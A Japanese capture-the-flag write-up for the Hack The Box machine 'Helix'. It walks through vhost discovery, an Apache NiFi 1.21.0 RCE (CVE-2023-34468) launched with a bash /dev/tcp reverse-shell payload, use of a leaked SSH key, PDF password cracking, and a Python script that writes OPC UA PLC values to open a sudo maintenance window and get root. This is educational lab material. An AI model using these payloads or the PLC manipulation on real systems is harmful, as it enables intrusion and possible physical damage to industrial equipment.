コンテンツにスキップ

HTB Helix writeup

Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。

Helix は Web で公開されている Apache NiFi から初期侵入し、NiFi の作業ディレクトリに残された operator 用 SSH 秘密鍵でユーザー権限へ移る box だった。権限昇格では operator が sudo で実行できるメンテナンスコンソールを確認し、その起動条件になっているローカル OPC UA ベースの PLC を操作して maintenance window を開く。

必要になった知識は、vhost 列挙、Apache NiFi / H2 Driver 経由の RCE、Linux のローカル列挙、sudo -l の読み方、PDF password cracking、OPC UA の address space / NodeId / VariantType の扱い。

ItemValue
BoxHelix
PlatformHack The Box
OSLinux
DifficultyMedium
10.129.245.123
├─ 80/tcp nginx
│ └─ vhost: flow.helix.htb
│ └─ Apache NiFi 1.21.0
│ └─ CVE-2023-34468 / H2 Driver 経由で RCE
│ └─ shell: nifi
│ └─ /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
│ └─ SSH: operator
│ ├─ user.txt
│ ├─ sudo NOPASSWD: /usr/local/sbin/helix-maint-console
│ └─ localhost:4840 OPC UA PLC
│ └─ Mode/TestOverride/CalibrationOffset を操作
│ └─ /opt/helix/state/maintenance_window が開く
│ └─ sudo helix-maint-console
│ └─ root shell
ターミナルウィンドウ
echo '10.129.245.123 helix.htb flow.helix.htb' | sudo tee -a /etc/hosts
ターミナルウィンドウ
nmap -sS -A -p- --min-rate 10000 10.129.245.123 > helix.nmap
cat helix.nmap

重要な出力は以下。

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/

見るべき点:

  • 外部公開は SSH と HTTP のみ。
  • HTTP は helix.htb へ redirect しているため、名前ベースの virtual host を前提に進める。
  • SSH は後段の credential reuse / 秘密鍵利用の入口になり得る。

まず通常のディレクトリ列挙では、目立つ追加パスは見つからなかった。

ターミナルウィンドウ
feroxbuster -u http://helix.htb \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-d 1
200 GET 1117l 3956w 43341c http://helix.htb/

そこで vhost を列挙した。

ターミナルウィンドウ
ffuf -u http://helix.htb \
-H "Host: FUZZ.helix.htb" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-ac
flow [Status: 200, Size: 1068, Words: 110, Lines: 28]

flow.helix.htb を開くと NiFi が動いていた。

ターミナルウィンドウ
curl -i http://flow.helix.htb/nifi/ | head -n 30
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
...
<title>NiFi</title>
...
nf-canvas-all.css?1.21.0

NiFi のバージョンは 1.21.0 と判断できる。

NiFi 1.21.0 に対して、H2 Driver を利用する既知の RCE を使った。

ターミナルウィンドウ
git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468

リバースシェルを待ち受ける。

ターミナルウィンドウ
nc -lvnp 6666

PoC を実行する。

ターミナルウィンドウ
python3 exploit.py \
-t http://flow.helix.htb/nifi \
-c "bash -i >& /dev/tcp/10.10.16.45/6666 0>&1" \
-lh 10.10.16.45 \
-lp 6666 \
--driver-path "/opt/nifi-1.21.0/lib/h2-2.1.214.jar"

シェルは nifi ユーザーとして得られた。

ローカルユーザーを確認する。

ターミナルウィンドウ
cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
operator:x:1001:1001::/home/operator:/bin/bash

NiFi 配下を確認すると、support bundle に operator 用の秘密鍵バックアップが残っていた。

ターミナルウィンドウ
ls support-bundles
cat support-bundles/operator_id_ed25519.bak
operator_id_ed25519.bak
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

これを手元に保存して権限を調整し、SSH で operator に入る。

ターミナルウィンドウ
chmod 600 ed25519
ssh -i ./ed25519 operator@helix.htb
ターミナルウィンドウ
cat ~/user.txt

これで user flag を取得できる。

NiFi の設定には MaintenanceDB という H2 Database Connection Pooling Service も残っていた。

name: MaintenanceDB
Database Connection URL: jdbc:h2:mem:maint;MODE=MySQL;DB_CLOSE_DELAY=-1
Database Driver Class Name: org.h2.Driver
database-driver-locations: /opt/nifi-1.21.0/lib/h2-2.1.214.jar
Database User: operator
Password: enc{...}

これは直接 root 取得に使ったわけではないが、maintenance、operator、H2 driver というキーワードがそろっており、NiFi の RCE と後段の maintenance 機構が同じテーマでつながっていることを示していた。

sudo -l を確認する。

ターミナルウィンドウ
sudo -l
User operator may run the following commands on helix:
(root) NOPASSWD: /usr/local/sbin/helix-maint-console

実行ファイルを確認する。

ターミナルウィンドウ
ls -la /usr/local/sbin/helix-maint-console
cat /usr/local/sbin/helix-maint-console
#!/bin/bash
set -euo pipefail
FLAG="/opt/helix/state/maintenance_window"
read_until() { cat "$FLAG" 2>/dev/null || true; }
window_ok() {
[ -f "$FLAG" ] || return 1
local until_ts now
until_ts="$(read_until)"
now="$(date +%s)"
[[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
[ "$now" -lt "$until_ts" ] || return 1
return 0
}
if ! window_ok; then
echo "Maintenance window CLOSED."
exit 1
fi
until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))
echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"
SCOPE="helix-maint-$$"
systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes \
/bin/bash -p -i

このスクリプトは root で実行できるが、常に root shell を出すわけではない。/opt/helix/state/maintenance_window というファイルが存在し、その中身が現在時刻より未来の UNIX timestamp である場合だけ、systemd-run 経由で /bin/bash -p -i を起動する。

そのまま実行すると閉じている。

ターミナルウィンドウ
sudo /usr/local/sbin/helix-maint-console
Maintenance window CLOSED.

つまり次の目標は、maintenance_window を開く条件を満たすことである。

operator の home directory には PDF と画像があった。

ターミナルウィンドウ
ls
'Operator Control & Safety Guide.pdf' 'control systems diagram.png' user.txt

PDF はパスワード保護されていた。

ターミナルウィンドウ
pdfinfo "Operator Control & Safety Guide.pdf"
qpdf --show-encryption "Operator Control & Safety Guide.pdf"
Command Line Error: Incorrect password
...
stream encryption method: AESv3

pdf2john と john でパスワードを取得した。

ターミナルウィンドウ
pdf2john "Operator Control & Safety Guide.pdf" > pdf.hash
john --wordlist=/usr/share/wordlists/rockyou.txt pdf.hash
operator1 (Operator Control & Safety Guide.pdf)

PDF には Helix Reactor Control System の操作条件が書かれていた。重要な変数は以下。

変数意味
Temperaturereactor temperature
Pressurereactor pressure
CalibrationOffsetmaintenance 用の calibration bias
TripActivesafety trip の状態
ModeNORMAL / MAINTENANCE
TestOverridemaintenance override
ResetTriptrip reset request

maintenance window が開く条件は以下。

  • Mode を MAINTENANCE にする。
  • TestOverride を有効にする。
  • CalibrationOffset を徐々に上げる。
  • Temperature が約 295°C、または Pressure が約 73 bar に到達する。
  • ただし trip threshold、つまり Temperature >= 約305°C または Pressure >= 約75 bar を超えない。
  • TripActive が False のままである。

ここで helix-maint-console の条件とつながる。PLC 側で maintenance window が成立すると、内部処理が /opt/helix/state/maintenance_window を作り、短時間だけ root maintenance console を使えるようになると推測できる。

operator で listening port を確認すると、localhost の 4840/tcp が見える。

ターミナルウィンドウ
ss -ant
LISTEN 0 100 127.0.0.1:4840 0.0.0.0:*

4840/tcp は OPC UA でよく使われるポートである。OPC UA は opc.tcp のバイナリプロトコルなので、nc 127.0.0.1 4840 のように手打ちしても操作できない。HTTP や Redis のような行指向プロトコルではないため、専用クライアントで address space を browse し、対象 NodeId に対して read / write する必要がある。

手元から扱いやすくするため、SSH port forward で転送する。

ターミナルウィンドウ
ssh -i ./ed25519 -N -L 4840:127.0.0.1:4840 operator@helix.htb

以降、手元では opc.tcp://127.0.0.1:4840 に接続すればよい。

最初に asyncua も試したが、全体を再帰的に browse すると timeout や disconnect が出やすかった。

Future for request id 10 is already done
Exception: Unhandled exception while sending request to OPC UA server

同期版の opcua ライブラリの方が安定した。

ターミナルウィンドウ
uv venv --python 3.12 .venv-opc
source .venv-opc/bin/activate
pip install opcua
from opcua import Client
client = Client("opc.tcp://127.0.0.1:4840")
client.connect()
try:
print(client.get_namespace_array())
finally:
client.disconnect()
['http://opcfoundation.org/UA/', 'urn:freeopcua:python:server', 'urn:helix:ot']

OPC UA の NodeId は namespace index と identifier の組み合わせで表現される。ここでは urn:helix:ot が namespace index 2 なので、Helix 固有の PLC ノードは ns=2;... 配下にあると考えられる。

ns=2;i=1 を root にして子を確認した。

from opcua import Client
client = Client("opc.tcp://127.0.0.1:4840")
client.connect()
try:
base = client.get_node("ns=2;i=1")
for c in base.get_children():
print(c, c.get_display_name())
try:
print(" value:", c.get_value())
except Exception as e:
print(" value error:", e)
finally:
client.disconnect()
ns=2;i=2 LocalizedText(... Text:Reactor)
value error: "The attribute is not supported for the specified Node."(BadAttributeIdInvalid)
ns=2;i=7 LocalizedText(... Text:Safety)
value error: "The attribute is not supported for the specified Node."(BadAttributeIdInvalid)
ns=2;i=11 LocalizedText(... Text:Control)
value error: "The attribute is not supported for the specified Node."(BadAttributeIdInvalid)

この BadAttributeIdInvalid は失敗ではない。Reactor / Safety / Control は Object node であり、値を持つ Variable node ではない。Object node はフォルダのような役割で、さらに下の Variable node を読む必要がある。

ns=2;i=1 から ns=2;i=14 付近までが実体だったため、NodeClass・値・VariantType・access level を確認した。

from opcua import Client, ua
import time
client = Client("opc.tcp://127.0.0.1:4840")
client.connect()
try:
for i in range(1, 20):
nodeid = f"ns=2;i={i}"
node = client.get_node(nodeid)
try:
cls = node.get_node_class()
name = node.get_display_name().Text
print(f"{nodeid}: {name} [{cls}]")
if cls == ua.NodeClass.Variable:
print(" value:", repr(node.get_value()))
print(" type :", node.get_data_type_as_variant_type())
print(" access:", node.get_access_level(), node.get_user_access_level())
except Exception as e:
print(f"{nodeid}: {e}")
time.sleep(0.05)
finally:
client.disconnect()

重要な結果は以下。

ns=2;i=1: Plant [1]
ns=2;i=2: Reactor [1]
ns=2;i=3: TemperatureRaw [2]
value: 283.50106407697126
type : VariantType.Double
access: {CurrentRead} {CurrentRead}
ns=2;i=4: Temperature [2]
value: 283.59361357234354
type : VariantType.Double
access: {CurrentRead} {CurrentRead}
ns=2;i=5: Pressure [2]
value: 68.97129508156843
type : VariantType.Double
access: {CurrentRead} {CurrentRead}
ns=2;i=6: CalibrationOffset [2]
value: 0.0
type : VariantType.Double
access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}
ns=2;i=7: Safety [1]
ns=2;i=8: RodsInserted [2]
value: False
type : VariantType.Boolean
ns=2;i=9: EmergencyCooling [2]
value: False
type : VariantType.Boolean
ns=2;i=10: TripActive [2]
value: False
type : VariantType.Boolean
access: {CurrentRead} {CurrentRead}
ns=2;i=11: Control [1]
ns=2;i=12: Mode [2]
value: 'NORMAL'
type : VariantType.String
access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}
ns=2;i=13: TestOverride [2]
value: False
type : VariantType.Boolean
access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}
ns=2;i=14: ResetTrip [2]
value: False
type : VariantType.Boolean
access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}

[1] は Object、[2] は Variable を表している。書き込みに使うべきノードは CurrentWrite がある Variable node である。

今回の重要な対応表は以下。

NodeIdName型用途
ns=2;i=4TemperatureDoublemaintenance window 判定
ns=2;i=5PressureDoublemaintenance window 判定
ns=2;i=6CalibrationOffsetDouble徐々に上げる
ns=2;i=10TripActiveBooleantrip したか確認
ns=2;i=12ModeStringMAINTENANCE に変更
ns=2;i=13TestOverrideBooleanTrue に変更
ns=2;i=14ResetTripBooleantrip 復旧用

VariantType を合わせて書き込む理由

Section titled “VariantType を合わせて書き込む理由”

OPC UA の write では、値だけでなく型も重要である。たとえば Mode は String、CalibrationOffset は Double、TestOverride は Boolean である。Python の値をそのまま投げると、クライアント側の推測型とサーバが期待する VariantType がずれることがある。

そのため、各 node から get_data_type_as_variant_type() で期待される型を読み、ua.Variant(value, vt) として明示的に書き込む。

def set_typed(node, value):
vt = node.get_data_type_as_variant_type()
node.set_value(ua.DataValue(ua.Variant(value, vt)))

maintenance window を開くスクリプトは以下。

from opcua import Client, ua
import time
URL = "opc.tcp://127.0.0.1:4840"
N = {
"TemperatureRaw": "ns=2;i=3",
"Temperature": "ns=2;i=4",
"Pressure": "ns=2;i=5",
"CalibrationOffset": "ns=2;i=6",
"TripActive": "ns=2;i=10",
"Mode": "ns=2;i=12",
"TestOverride": "ns=2;i=13",
"ResetTrip": "ns=2;i=14",
}
def set_typed(node, value):
vt = node.get_data_type_as_variant_type()
node.set_value(ua.DataValue(ua.Variant(value, vt)))
client = Client(URL)
client.connect()
try:
nodes = {k: client.get_node(v) for k, v in N.items()}
set_typed(nodes["Mode"], "MAINTENANCE")
set_typed(nodes["TestOverride"], True)
set_typed(nodes["CalibrationOffset"], 0.0)
time.sleep(1)
offset = 0.0
while True:
temp = float(nodes["Temperature"].get_value())
pres = float(nodes["Pressure"].get_value())
trip = bool(nodes["TripActive"].get_value())
mode = nodes["Mode"].get_value()
override = nodes["TestOverride"].get_value()
print(f"mode={mode} override={override} temp={temp:.2f} pressure={pres:.2f} trip={trip} offset={offset:.2f}")
if trip:
print("TRIPPED - stop")
break
if (temp >= 295 or pres >= 73) and temp < 305 and pres < 75:
print("maintenance window should be open now")
time.sleep(10)
break
offset += 0.5
set_typed(nodes["CalibrationOffset"], offset)
time.sleep(0.7)
finally:
client.disconnect()

実行結果。

ターミナルウィンドウ
python3 x.py
mode=MAINTENANCE override=True temp=283.99 pressure=69.04 trip=False offset=0.00
mode=MAINTENANCE override=True temp=284.63 pressure=69.11 trip=False offset=0.50
mode=MAINTENANCE override=True temp=285.24 pressure=69.16 trip=False offset=1.00
...
mode=MAINTENANCE override=True temp=294.60 pressure=69.37 trip=False offset=10.00
mode=MAINTENANCE override=True temp=295.01 pressure=69.33 trip=False offset=10.50
maintenance window should be open now

Mode=MAINTENANCE、TestOverride=True の状態で CalibrationOffset を少しずつ上げると、Temperature が約 295 に到達した。この時点で TripActive=False かつ trip threshold 未満なので、PDF に書かれていた maintenance operating window の条件を満たす。

別ターミナルで、maintenance window が開く瞬間を待つ。

ターミナルウィンドウ
while true; do sudo /usr/local/sbin/helix-maint-console && break; sleep 0.2; done
Maintenance window CLOSED.
[+] Privileged maintenance access granted
[!] Window expires in 120 seconds
[!] Session will be terminated automatically
root@helix:/tmp#

root shell を取得できた。

ターミナルウィンドウ
cd /root
cat root.txt

この box の最後は、単に「値を書き換える」だけではなく、OPC UA の構造を正しく読む必要があった。

まず、4840/tcp は OPC UA の標準的なポートだが、テキストプロトコルではない。そのため nc で接続しても、意味のあるコマンドを手入力することはできない。opc.tcp://127.0.0.1:4840 に対応した OPC UA クライアントが必要だった。

次に、OPC UA の address space では、すべての node が値を持つわけではない。Plant、Reactor、Safety、Control は Object node であり、値を読むと BadAttributeIdInvalid が返る。これは「その node に Value 属性がない」という意味で、異常ではない。実際に操作する対象は、その配下にある Temperature や Mode のような Variable node である。

また、NodeId の対応を間違えると、表示上はそれらしく見えても window は開かない。たとえば Pressure として Temperature を読んだり、CalibrationOffset として Pressure を読んだりすると、しきい値判定だけが進んだように見える。最終的には列挙結果をもとに、CalibrationOffset = ns=2;i=6、TripActive = ns=2;i=10 のように正しく対応させる必要があった。

最後に、write では VariantType を合わせる必要がある。Mode は String、CalibrationOffset は Double、TestOverride は Boolean なので、ua.Variant(value, vt) でサーバが期待する型を明示して書き込むのが安定した。

  • feroxbuster では有効な追加パスは見つからず、vhost 列挙が必要だった。
  • nc 127.0.0.1 4840 では OPC UA を操作できない。専用クライアントが必要。
  • asyncua で address space 全体を再帰 browse すると timeout / disconnect が出やすかった。同期版 opcua で浅く NodeId を列挙した方が安定した。
  • Object node に get_value() して出る BadAttributeIdInvalid は想定内。Variable node を探す。
  • NodeId を 1 つずらして扱うと、Pressure や CalibrationOffset の読み違いで maintenance window が開かない。

ローカル側:

  • SSH port forward を停止する。
  • .venv-opc/、pdf.hash、保存した ed25519、検証用 Python script を不要なら削除する。

ターゲット側の PLC 状態を戻す場合は、OPC UA で以下を行う。

set_typed(nodes["CalibrationOffset"], 0.0)
set_typed(nodes["TestOverride"], False)
set_typed(nodes["Mode"], "NORMAL")

trip している場合は、PDF の条件どおり Temperature < 約288、Pressure < 約70 まで待ち、ResetTrip を True にしてから False に戻す。

set_typed(nodes["ResetTrip"], True)
time.sleep(0.5)
set_typed(nodes["ResetTrip"], False)
種別値
Host10.129.245.123
VHostshelix.htb, flow.helix.htb
NiFiApache NiFi 1.21.0
初期 shellnifi
SSH useroperator
SSH key artifact/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
PDF passwordoperator1
sudo rule(root) NOPASSWD: /usr/local/sbin/helix-maint-console
OPC UA endpointopc.tcp://127.0.0.1:4840
user flag path/home/operator/user.txt
root flag path/root/root.txt

この box では、通常の Web RCE からローカルの制御系プロトコルへ移る流れが重要だった。sudo -l で見つけたコマンドが直接 exploit できなくても、スクリプト内の条件を読むことで「何を満たせば root shell が出るのか」を明確にできる。

OPC UA では、ポート番号だけで判断せず、namespace、NodeId、NodeClass、VariantType、access level を順番に確認することが大事だった。特に Object node と Variable node の違い、CurrentWrite の有無、型を合わせた write は、今後同じような OT / PLC 系の box でも再利用できる考え方になる。